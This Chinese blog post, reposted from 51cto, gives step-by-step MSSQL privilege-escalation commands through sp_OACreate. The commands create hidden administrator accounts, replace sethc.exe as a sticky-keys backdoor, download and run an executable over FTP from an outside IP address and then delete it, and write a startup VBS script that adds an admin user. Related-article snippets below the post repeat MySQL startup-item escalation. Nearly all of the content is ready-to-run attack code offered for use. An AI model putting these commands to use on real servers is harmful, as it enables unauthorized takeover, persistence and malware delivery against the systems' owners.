首页 > 数据库 >MSSQL提权之xp_cmdshell、SP_OACreate、沙盒提权

MSSQL提权之xp_cmdshell、SP_OACreate、沙盒提权

时间:2023-08-02 21:37:02浏览次数:37  
标签:exe shell cmdshell exec SP 提权 cmd oamethod sp

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

 

首先

 

EXEC sp_configure 'show advanced options', 1;  

RECONFIGURE WITH OVERRIDE;  

EXEC sp_configure 'Ole Automation Procedures', 1;  

RECONFIGURE WITH OVERRIDE;  

EXEC sp_configure 'show advanced options', 0;

 

打开组件,2005中默认关闭

 

1)直接加用户

 

2000系统:

 

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add'

 

 

 

xp和2003系统:

 

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'

 

 

 

2)粘贴键替换

 

declare @o int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

 

declare @o int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

 

需要同时具备sp_oacreate 和sp_oamethod 两个功能组件

 

3)直接传马

 

DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113 > cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q /f&del 1.exe /f /q'--

 

4)启动项写入加账户脚本

 

declare @sp_passwordxieo int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out

exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'

exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'

exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'

exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'

exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';

 

5)如果该服务器有网站,则直接用方法4)写入一句话

标签:exe,shell,cmdshell,exec,SP,提权,cmd,oamethod,sp
From: https://blog.51cto.com/u_11908275/6943178

相关文章

  • MySQL提权之启动项提权——开机启动的程序,那时候启动的程序权限都是system
    关于MySQL的启动项提权,听其名知其意。就是将一段VBS脚本导入到 C:\DocumentsandSettings\AllUsers\「开始」菜单\程序\启动下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!这里有两种思路:1.如果 C:\DocumentsandSettings\AllUsers\「......
  • ASP.NET 2.0中XSLT的使用
    最近学习asp.net2.0中的XSLT使用,发现有新功能,故编译了一篇文章,介绍之,原文发表在http://dev.yesky.com/msdn/375/2453875.shtml这里,今放到这里在asp.net2.0中,对XML的应用大为增强,而在XSLT处理方面,也提供了新的功能。本文将简单对asp.net2.0中XSLT的使用作简......
  • ASP.NET2.0中用Gridview控件操作数据
     小弟新写的一篇文章,上,因为没图,比较方便摘录如下:在ASP.NET2.0中,加入了许多新的功能和控件,相比asp.net1.0/1.1,在各方面都有了很大的提高。其中,在数据控件方面,增加了不少控件,其中的Gridview控件功能十分强大。在本文中,将探讨Gridview控件中的一些功能特性和用......
  • springboot 初始化加载过程 条件注解
    官网解释:https://docs.spring.io/spring-boot/docs/3.0.9/reference/html/features.html#features.developing-auto-configuration.condition-annotations从其他博客粘过来的表格:条件注解Condition处理类实例解释@ConditionalOnBeanOnBeanCondition@ConditionalOnBean(D......
  • [刷题笔记] Luogu P5662 [CSP-J2019] 纪念品
    ProblemDescription类似于炒股票,有买进有卖出,当天可以既买进又卖出无限次,现在有若干件物品,每件物品都有一个价格,每天每件物品的价格不一致,你初始有\(m\)元钱,想要通过若干次购进卖出的操作,使得\(T\)天后你手里的钱最多。要求:\(T\)天结束你手中的股票必须全部售出。Solution乍看......
  • Springboot+elasticsearch基础整合实例
    es,当插入数据的时候,可以自动创建索引,但是mapping却都是默认类型,导致搜索时需要key.keyword方式,不科学。索引也可以手偶刚创建,指定mapping。当然还有一种优雅的方案使用template,当自动创建索引的时候,我们的字段类型就可控了。真实业务中,不能用一个固定的index,索引是需要切分的......
  • Spring AOP
    springAOP基础知识AOP是什么AOP是一种变成思想,AOP全名AspectOrientProgramming,直译过来就是面向切面编程。利用AOP可以对业务逻辑的各个部分进行隔离,从而使得业务逻辑各部分之间的耦合度降低,提高程序的可重用性,同时提高了开发的效率。AOP简单的一点的理解就是,不改变源代码的......
  • Spring Boot中过滤器
    SpringBoot中过滤器过滤器是什么Filter也称之为过滤器,过滤器是对数据进行过滤,预处理。开发人员可以对客户端提交的数据进行过滤处理,比如敏感词,也可以对服务端返回的数据进行处理。还有就是可以验证用户的登录情况,权限验证,对静态资源进行访问控制,没有登录或者是没有权限时是不......
  • Spring Boot中的拦截器
    SpringBoot中的拦截器什么时拦截器SpringBoot中使用拦截器在SpringBoot中,我们可以通过拦截器(Interceptor)对控制器方法的执行进行拦截,实现预处理和后处理的功能。常见的用途有:日志记录、权限校验、性能监控等。实现一个拦截器需要实现HandlerInterceptor接口,该接口有......
  • 老杜 JavaWeb 讲解(十七) ——JSP补充
    (十六)JSP补充相关视频:49-JSP的page指令以及九大内置对象和EL表达式指令指令的作用:指导JSP的翻译引擎如何工作(指导当前的JSP翻译引擎如何翻译JSP文件。)指令包括哪些呢?include指令:包含指令,在JSP中完成静态包含,很少用了。(这里不讲)taglib指令:引入标签库的指令。这个到JS......